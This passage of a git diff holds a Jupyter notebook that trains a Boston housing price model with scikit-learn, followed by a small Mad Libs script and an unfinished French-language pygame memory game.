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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "housing.plot(kind=\"scatter\", x=\"RM\", y=\"MEDV\", alpha=0.8)" + ] + }, + { + "cell_type": "code", + "execution_count": 22, + "metadata": {}, + "outputs": [], + "source": [ + "housing = strat_train_set.drop(\"MEDV\", axis=1)\n", + "housing_labels = strat_train_set[\"MEDV\"].copy()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Missing Attributes" + ] + }, + { + "cell_type": "raw", + "metadata": {}, + "source": [ + "To take care of missing attributes, you have 3 options\n", + " 1. get Rid of the missing data points\n", + " a=housing.dropna(subset=[\"RM\"])\n", + " a.shape\n", + " 2. Get rid of the whole attribute\n", + " housing.drop(\"RM\", axis=1)\n", + " 3. Set the value to some value(0,mean or medium)\n", + " #median=housing[\"RM\"].median()\n", + " #housing[\"RM\"].fillna(median)\n", + " #housing.shape" + ] + }, + { + "cell_type": "code", + "execution_count": 23, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "(404, 13)" + ] + }, + "execution_count": 23, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "median = housing[\"RM\"].median()\n", + "housing[\"RM\"].fillna(median)\n", + "housing.shape" + ] + }, + { + "cell_type": "code", + "execution_count": 24, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "SimpleImputer(strategy='median')" + ] + }, + "execution_count": 24, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "from sklearn.impute import SimpleImputer\n", + "\n", + "imputer = SimpleImputer(strategy=\"median\")\n", + "imputer.fit(housing)" + ] + }, + { + "cell_type": "code", + "execution_count": 25, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "array([2.86735e-01, 0.00000e+00, 9.90000e+00, 0.00000e+00, 5.38000e-01,\n", + " 6.21000e+00, 7.82000e+01, 3.12220e+00, 5.00000e+00, 3.37000e+02,\n", + " 1.90000e+01, 3.90955e+02, 1.15700e+01])" + ] + }, + "execution_count": 25, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "imputer.statistics_.shape\n", + "imputer.statistics_" + ] + }, + { + "cell_type": "code", + "execution_count": 26, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
\n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
CRIMZNINDUSCHASNOXRMAGEDISRADTAXPTRATIOBLSTAT
count404.000000404.000000404.000000404.000000404.000000404.000000404.000000404.000000404.000000404.000000404.000000404.000000404.000000
mean3.60281410.83663411.3449500.0693070.5580646.27990869.0398513.7462109.735149412.34158418.473267353.39282212.791609
std8.09938322.1506366.8778170.2542900.1168750.71298328.2582482.0990578.731259168.6726232.12924396.0692357.235740
min0.0063200.0000000.7400000.0000000.3890003.5610002.9000001.1296001.000000187.00000013.0000000.3200001.730000
25%0.0869630.0000005.1900000.0000000.4530005.87875044.8500002.0359754.000000284.00000017.400000374.6175006.847500
50%0.2867350.0000009.9000000.0000000.5380006.21000078.2000003.1222005.000000337.00000019.000000390.95500011.570000
75%3.73192312.50000018.1000000.0000000.6310006.63025094.1000005.10040024.000000666.00000020.200000395.63000017.102500
max73.534100100.00000027.7400001.0000000.8710008.780000100.00000012.12650024.000000711.00000022.000000396.90000036.980000
\n", + "
" + ], + "text/plain": [ + " CRIM ZN INDUS CHAS NOX RM \\\n", + "count 404.000000 404.000000 404.000000 404.000000 404.000000 404.000000 \n", + "mean 3.602814 10.836634 11.344950 0.069307 0.558064 6.279908 \n", + "std 8.099383 22.150636 6.877817 0.254290 0.116875 0.712983 \n", + "min 0.006320 0.000000 0.740000 0.000000 0.389000 3.561000 \n", + "25% 0.086963 0.000000 5.190000 0.000000 0.453000 5.878750 \n", + "50% 0.286735 0.000000 9.900000 0.000000 0.538000 6.210000 \n", + "75% 3.731923 12.500000 18.100000 0.000000 0.631000 6.630250 \n", + "max 73.534100 100.000000 27.740000 1.000000 0.871000 8.780000 \n", + "\n", + " AGE DIS RAD TAX PTRATIO B \\\n", + "count 404.000000 404.000000 404.000000 404.000000 404.000000 404.000000 \n", + "mean 69.039851 3.746210 9.735149 412.341584 18.473267 353.392822 \n", + "std 28.258248 2.099057 8.731259 168.672623 2.129243 96.069235 \n", + "min 2.900000 1.129600 1.000000 187.000000 13.000000 0.320000 \n", + "25% 44.850000 2.035975 4.000000 284.000000 17.400000 374.617500 \n", + "50% 78.200000 3.122200 5.000000 337.000000 19.000000 390.955000 \n", + "75% 94.100000 5.100400 24.000000 666.000000 20.200000 395.630000 \n", + "max 100.000000 12.126500 24.000000 711.000000 22.000000 396.900000 \n", + "\n", + " LSTAT \n", + "count 404.000000 \n", + "mean 12.791609 \n", + "std 7.235740 \n", + "min 1.730000 \n", + "25% 6.847500 \n", + "50% 11.570000 \n", + "75% 17.102500 \n", + "max 36.980000 " + ] + }, + "execution_count": 26, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "X = imputer.transform(housing)\n", + "housing_tr = pd.DataFrame(X, columns=housing.columns)\n", + "housing_tr.describe()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Scikit-learn Design " + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Basically, there are 3 types of objects:\n", + "1. Estimators - it estimates some parameter based on a dataset. Eg. imputer. It has a fit method and transform method.Fit method -Fits the dataset and calculates internal parameters\n", + "\n", + "2. Transformers - transform method takes input and returns output based on the learning from fit(). It also has a convenience function called fit_transform() which fits and then transforms.\n", + "\n", + "3. Predictors - LinearRegression model is an example of predictor. fit() and predict() are two common functions. It also gives score() function which will evaluate the predictions." + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Feature Scaling" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Primarily, two types of features scaling methods:\n", + "1. Min-max scaling (Normalization)\n", + " 0 < (value-min)/(max-min) >1\n", + " Sklearn provides a class called MinMaxScaler for this\n", + " \n", + "2. Standardization\n", + " (value-mean)/std\n", + " Sklearn provides a class called StandardScaler for this" + ] + }, + { + "cell_type": "code", + "execution_count": 27, + "metadata": {}, + "outputs": [], + "source": [ + "from sklearn.pipeline import Pipeline\n", + "from sklearn.preprocessing import StandardScaler\n", + "\n", + "my_pipeline = Pipeline(\n", + " [(\"imputer\", SimpleImputer(strategy=\"median\")), (\"std_scaler\", StandardScaler())]\n", + ")" + ] + }, + { + "cell_type": "code", + "execution_count": 28, + "metadata": {}, + "outputs": [], + "source": [ + "housing_num_tr = my_pipeline.fit_transform(housing)" + ] + }, + { + "cell_type": "code", + "execution_count": 29, + "metadata": { + "scrolled": true + }, + "outputs": [ + { + "data": { + "text/plain": [ + "(404, 13)" + ] + }, + "execution_count": 29, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "housing_num_tr.shape" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Selecting a desired model" + ] + }, + { + "cell_type": "code", + "execution_count": 30, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "RandomForestRegressor()" + ] + }, + "execution_count": 30, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "from sklearn.ensemble import RandomForestRegressor\n", + "\n", + "# model = LinearRegression()\n", + "# model = DecisionTreeRegressor()\n", + "model = RandomForestRegressor()\n", + "model.fit(housing_num_tr, housing_labels)" + ] + }, + { + "cell_type": "code", + "execution_count": 31, + "metadata": {}, + "outputs": [], + "source": [ + "some_data = housing.iloc[:5]\n", + "some_labels = housing_labels.iloc[:5]" + ] + }, + { + "cell_type": "code", + "execution_count": 32, + "metadata": {}, + "outputs": [], + "source": [ + "prepared_data = my_pipeline.transform(some_data)" + ] + }, + { + "cell_type": "code", + "execution_count": 33, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "array([22.508, 25.587, 16.363, 23.376, 23.391])" + ] + }, + "execution_count": 33, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "model.predict(prepared_data)" + ] + }, + { + "cell_type": "code", + "execution_count": 34, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "[21.9, 24.5, 16.7, 23.1, 23.0]" + ] + }, + "execution_count": 34, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "list(some_labels)" + ] + }, + { + "cell_type": "code", + "execution_count": 35, + "metadata": {}, + "outputs": [], + "source": [ + "from sklearn.metrics import mean_squared_error\n", + "\n", + "housing_predictions = model.predict(housing_num_tr)\n", + "lin_mse = mean_squared_error(housing_labels, housing_predictions)\n", + "lin_rmse = np.sqrt(lin_mse)" + ] + }, + { + "cell_type": "code", + "execution_count": 36, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "1.3529252128712854" + ] + }, + "execution_count": 36, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "lin_mse" + ] + }, + { + "cell_type": "code", + "execution_count": 37, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "1.1631531338870584" + ] + }, + "execution_count": 37, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "lin_rmse" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Cross Validation" + ] + }, + { + "cell_type": "code", + "execution_count": 38, + "metadata": {}, + "outputs": [], + "source": [ + "from sklearn.model_selection import cross_val_score\n", + "\n", + "scores = cross_val_score(\n", + " model, housing_num_tr, housing_labels, scoring=\"neg_mean_squared_error\", cv=10\n", + ")\n", + "rmse_scores = np.sqrt(-scores)" + ] + }, + { + "cell_type": "code", + "execution_count": 39, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "array([2.79289168, 2.69441597, 4.40018895, 2.56972379, 3.33073436,\n", + " 2.62687167, 4.77007351, 3.27403209, 3.38378214, 3.16691711])" + ] + }, + "execution_count": 39, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "rmse_scores" + ] + }, + { + "cell_type": "code", + "execution_count": 40, + "metadata": {}, + "outputs": [], + "source": [ + "def print_scores(scores):\n", + " print(\"scores: \", scores)\n", + " print(\"Mean: \", scores.mean())\n", + " print(\"Standard deviation: \", scores.std())" + ] + }, + { + "cell_type": "code", + "execution_count": 41, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "scores: [2.79289168 2.69441597 4.40018895 2.56972379 3.33073436 2.62687167\n", + " 4.77007351 3.27403209 3.38378214 3.16691711]\n", + "Mean: 3.3009631251857217\n", + "Standard deviation: 0.7076841067486248\n" + ] + } + ], + "source": [ + "print_scores(rmse_scores)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Saving Model " + ] + }, + { + "cell_type": "code", + "execution_count": 42, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "['HousingPricePredicter.joblib']" + ] + }, + "execution_count": 42, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "from joblib import dump\n", + "\n", + "dump(model, \"HousingPricePredicter.joblib\")" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Testing the model on test data " + ] + }, + { + "cell_type": "code", + "execution_count": 43, + "metadata": {}, + "outputs": [], + "source": [ + "X_test = strat_test_set.drop(\"MEDV\", axis=1)\n", + "Y_test = strat_test_set[\"MEDV\"].copy()\n", + "X_test_prepared = my_pipeline.transform(X_test)\n", + "final_predictions = model.predict(X_test_prepared)\n", + "final_mse = mean_squared_error(Y_test, final_predictions)\n", + "final_rmse = np.sqrt(final_mse)" + ] + }, + { + "cell_type": "code", + "execution_count": 44, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "2.948844070638726" + ] + }, + "execution_count": 44, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "final_rmse" + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.8.2" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/Mad Libs Generator.py b/Mad Libs Generator.py new file mode 100644 index 00000000000..652716a2ae6 --- /dev/null +++ b/Mad Libs Generator.py @@ -0,0 +1,22 @@ +# Loop back to this point once code finishes +loop = 1 +while loop < 10: + # All the questions that the program asks the user + noun = input("Choose a noun: ") + p_noun = input("Choose a plural noun: ") + noun2 = input("Choose a noun: ") + place = input("Name a place: ") + adjective = input("Choose an adjective (Describing word): ") + noun3 = input("Choose a noun: ") + # Displays the story based on the users input + print("------------------------------------------") + print("Be kind to your", noun, "- footed", p_noun) + print("For a duck may be somebody's", noun2, ",") + print("Be kind to your", p_noun, "in", place) + print("Where the weather is always", adjective, ".") + print() + print("You may think that is this the", noun3, ",") + print("Well it is.") + print("------------------------------------------") + # Loop back to "loop = 1" + loop = loop + 1 diff --git a/Memory_game.py b/Memory_game.py new file mode 100644 index 00000000000..2b320623a92 --- /dev/null +++ b/Memory_game.py @@ -0,0 +1,157 @@ +import random +import pygame +import sys + +# Initialisation de pygame +pygame.init() + +# Définir les couleurs +WHITE = (255, 255, 255) +PASTEL_PINK = (255, 182, 193) +PINK = (255, 105, 180) +LIGHT_PINK = (255, 182, 193) +GREY = (169, 169, 169) + +# Définir les dimensions de la fenêtre +WIDTH = 600 +HEIGHT = 600 +FPS = 30 +CARD_SIZE = 100 + +# Créer la fenêtre +screen = pygame.display.set_mode((WIDTH, HEIGHT)) +pygame.display.set_caption("Memory Game : Les Préférences de Malak") + +# Charger les polices +font = pygame.font.Font(None, 40) +font_small = pygame.font.Font(None, 30) + +# Liste des questions et réponses (préférences) +questions = [ + { + "question": "Quelle est sa couleur préférée ?", + "réponse": "Rose", + "image": "rose.jpg", + }, + { + "question": "Quel est son plat préféré ?", + "réponse": "Pizza", + "image": "pizza.jpg", + }, + { + "question": "Quel est son animal préféré ?", + "réponse": "Chat", + "image": "chat.jpg", + }, + { + "question": "Quel est son film préféré ?", + "réponse": "La La Land", + "image": "lalaland.jpg", + }, +] + +# Créer les cartes avec des questions et réponses +cards = [] +for q in questions: + cards.append(q["réponse"]) + cards.append(q["réponse"]) + +# Mélanger les cartes +random.shuffle(cards) + +# Créer un dictionnaire pour les positions des cartes +card_positions = [(x * CARD_SIZE, y * CARD_SIZE) for x in range(4) for y in range(4)] + + +# Fonction pour afficher le texte +def display_text(text, font, color, x, y): + text_surface = font.render(text, True, color) + screen.blit(text_surface, (x, y)) + + +# Fonction pour dessiner les cartes +def draw_cards(): + for idx, pos in enumerate(card_positions): + x, y = pos + if visible[idx]: + pygame.draw.rect(screen, WHITE, pygame.Rect(x, y, CARD_SIZE, CARD_SIZE)) + display_text(cards[idx], font, PINK, x + 10, y + 30) + else: + pygame.draw.rect( + screen, LIGHT_PINK, pygame.Rect(x, y, CARD_SIZE, CARD_SIZE) + ) + pygame.draw.rect(screen, GREY, pygame.Rect(x, y, CARD_SIZE, CARD_SIZE), 5) + + +# Variables du jeu +visible = [False] * len(cards) +flipped_cards = [] +score = 0 + +# Boucle principale du jeu +running = True +while running: + screen.fill(PASTEL_PINK) + draw_cards() + display_text("Score: " + str(score), font_small, PINK, 20, 20) + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + running = False + if event.type == pygame.MOUSEBUTTONDOWN: + x, y = pygame.mouse.get_pos() + col = x // CARD_SIZE + row = y // CARD_SIZE + card_idx = row * 4 + col + + if not visible[card_idx]: + visible[card_idx] = True + flipped_cards.append(card_idx) + + if len(flipped_cards) == 2: + if cards[flipped_cards[0]] == cards[flipped_cards[1]]: + score += 1 + else: + pygame.time.delay(1000) + visible[flipped_cards[0]] = visible[flipped_cards[1]] = False + flipped_cards.clear() + + if score == len(questions): + display_text( + "Félicitations ! Vous êtes officiellement le plus grand fan de Malak.", + font, + PINK, + 100, + HEIGHT // 2, + ) + display_text( + "Mais… Pour accéder au prix 